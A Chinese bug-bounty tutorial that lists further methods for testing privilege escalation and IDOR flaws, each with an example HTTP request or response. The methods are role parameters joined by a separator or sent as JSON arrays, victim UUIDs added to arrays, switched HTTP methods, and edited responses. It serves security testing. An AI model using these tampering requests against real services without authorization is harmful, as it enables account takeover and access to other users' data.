漏洞赏金猎人系列-权限升级相关测试方法以及Tips-II

简介: 前言本文为权限升级相关系列的第二弹,前文有:idor相关研究,gitlab漏洞系列-access control相关小结漏洞赏金猎人系列-权限升级相关测试方法以及Tips-I

前言


本文为权限升级相关系列的第二弹,前文有:

idor相关研究,

gitlab漏洞系列-access control相关小结

漏洞赏金猎人系列-权限升级相关测试方法以及Tips-I


正文

第八种方法

尝试使用分隔符,例如|%20 或者,带角色的参数来获得权限升级

POST /privilege-escalation HTTP/1.1
Host: www.company.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded 
Referer: https://previous.com/path
Origin: https://www.company.com 
Content-Length: Number
Role=admin,user

第九种方法

尝试更改Content-Type类型为application/json,并且插入uuid作为数组,例如:{"UUID":["victim-UUID","me-UUID"]}

POST /idor HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0 
Content-Type: application/json 
Referer: https://previous.com/path 
Origin: https://www.company.com 
Content-Length: Number
{"UUID":["victim-UUID","me-UUID"]}

第十种方法

尝试更改Content-Type类型为application/json,并且以数组的形式插入角色值,比如{"Role":["admin","user"]} 会获得权限提升

POST /privilege-escalation HTTP/1.1 
Host: www.company.com User-Agent: Mozilla/5.0 
Content-Type: application/json 
Referer: https://previous.com/path 
Origin: https://www.company.com 
Content-Length: Number
{"Role":["admin","user"]}

第十一种方法

尝试将带有UUID参数的方法改为POST、GET、PUT或DELETE等。

GET /idor?uuid=Victim-UUID 
HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

第十二种方法

尝试将带有角色参数的方法改为POST、GET、PUT或DELETE等。

GET /privilege-escalation?Role=admin HTTP/1.1 
Host: www.company.com
User-Agent: Mozilla/5.0
Referer: https://previous.com/path
Origin: https://www.company.com

第十三种方法

输入受害者UUID,然后尝试操作响应,比方说将原来响应中为错误的信息改为正确的,可能会绕过权限

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com 
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8 
Content-Length: length
{
"msg" : "Right To Do Next Action"
}

第十四种方法

尝试通过将false更改为true等响应中的操作来获得权限升级

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.company.com 
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8 
Content-Length: length
{
"admin" : "true"
}


参考

https://twitter.com/GodfatherOrwa/status/1438162075218550792

目录
相关文章
|
4天前
|
敏捷开发 测试技术
软件测试中的探索性测试方法
【6月更文挑战第12天】探索性测试,一种灵活的测试实践,旨在通过自由形式的探索发现软件的潜在缺陷。它不依赖于事先编写的测试用例,而是鼓励测试人员利用直觉、经验和创造力来指导测试过程。本文将深入探讨探索性测试的核心概念、实施策略以及它如何增强传统测试方法的有效性。
|
10天前
|
数据挖掘 测试技术
软件测试的艺术:确保质量的创造性方法
【6月更文挑战第6天】在数字化时代,软件无处不在。它们渗透到我们生活的方方面面,从个人使用到企业运营。然而,随着软件的普及和复杂性的增加,确保其质量和性能变得至关重要。软件测试是这一过程的核心,它不仅是一门科学,更是一种艺术。本文将探讨如何通过创造性的方法来提高软件测试的效率和效果,从而确保最终产品能够满足用户的期望和需求。
|
11天前
|
敏捷开发 搜索推荐 Devops
现代软件测试方法与挑战
传统的软件测试方法在现代软件开发环境下已经面临着诸多挑战,包括复杂的系统架构、快速迭代的开发周期以及高度定制化的需求。本文将探讨现代软件测试所面临的挑战,并介绍一些新的测试方法和工具,以适应不断变化的软件开发环境。
18 1
|
12天前
|
XML 设计模式 Java
PowerMock:静态方法与私有方法测试
PowerMock是Java单元测试中扩展Mockito的框架,允许模拟静态方法、构造函数、私有方法和final类,以增强测试隔离和覆盖率。主要应用场景包括静态方法模拟、私有方法测试和构造函数/Final类模拟。然而,使用时需注意配置复杂性、避免过度使用、精确控制模拟行为和遵循最佳实践。示例展示了如何模拟静态方法,通过添加PowerMock依赖和使用PowerMockito.mockStatic进行静态方法的模拟和验证。正确使用PowerMock能提升测试质量,但应谨慎以保持代码可读性和测试有效性。
PowerMock:静态方法与私有方法测试
|
12天前
|
存储 安全 测试技术
渗透测试之白盒测试:一种深入的安全性评估方法
渗透测试中的白盒测试是一种利用系统详细信息(如源代码、数据库结构和网络拓扑)进行深度安全评估的方法。通过源代码审查、数据库分析和网络拓扑研究,测试人员能更准确地发现漏洞并提高测试效率。尽管白盒测试能深入揭露潜在威胁,但也面临信息获取难、代码理解复杂及对测试人员高技能要求的挑战。
渗透测试之白盒测试:一种深入的安全性评估方法
|
13天前
|
设计模式 Java 测试技术
Java一分钟之-PowerMock:静态方法与私有方法测试
【6月更文挑战第4天】PowerMock是扩展Mockito的框架,用于模拟静态方法、构造函数和私有方法,以增强Java单元测试的隔离性和覆盖率。核心应用场景包括静态方法模拟、私有方法测试和Final类模拟。常见问题包括配置复杂、过度使用和忽略模拟的真实行为。解决方案包括遵循官方文档、谨慎使用PowerMock、精确控制模拟逻辑和遵循最佳实践。示例展示了如何模拟静态方法,通过添加PowerMock依赖和使用`PowerMockRunner`、`PrepareForTest`注解,以及`PowerMockito.mockStatic`和`verifyStatic`方法进行测试。
43 0
Java一分钟之-PowerMock:静态方法与私有方法测试
|
13天前
|
敏捷开发 算法 测试技术
【软件测试】 测试用例的基本要素与设计方法
【软件测试】 测试用例的基本要素与设计方法
|
14天前
|
测试技术 UED
课题项目结题测试通常会采用的方法
课题项目结题测试确保项目准确稳定,涉及功能测试、性能测试、安全测试、兼容性测试、用户验收测试及文档审查。这些方法全面评估项目各方面,保证顺利交付和使用,同时促进项目改进。标签:结题测试、软件测试报告。
课题项目结题测试通常会采用的方法
|
16天前
|
运维 安全 网络架构
【计算巢】网络模拟工具:设计与测试网络架构的有效方法
【6月更文挑战第1天】成为网络世界的超级英雄,利用网络模拟工具解决复杂架构难题!此工具提供安全的虚拟环境,允许自由设计和测试网络拓扑,进行性能挑战和压力测试。简单示例代码展示了创建网络拓扑的便捷性,它是网络设计和故障排查的“魔法棒”。无论新手还是专家,都能借助它探索网络的无限可能,开启精彩冒险!快行动起来,你会发现网络世界前所未有的乐趣!
【计算巢】网络模拟工具:设计与测试网络架构的有效方法
|
17天前
|
测试技术 UED
软件测试中的自动化与手动方法比较
【5月更文挑战第31天】本文将探讨软件测试中自动化和手动方法的优缺点,以及它们在不同场景下的应用。通过比较这两种方法,我们将了解它们各自的优势和局限性,并提供一些建议来帮助选择适合特定项目的测试策略。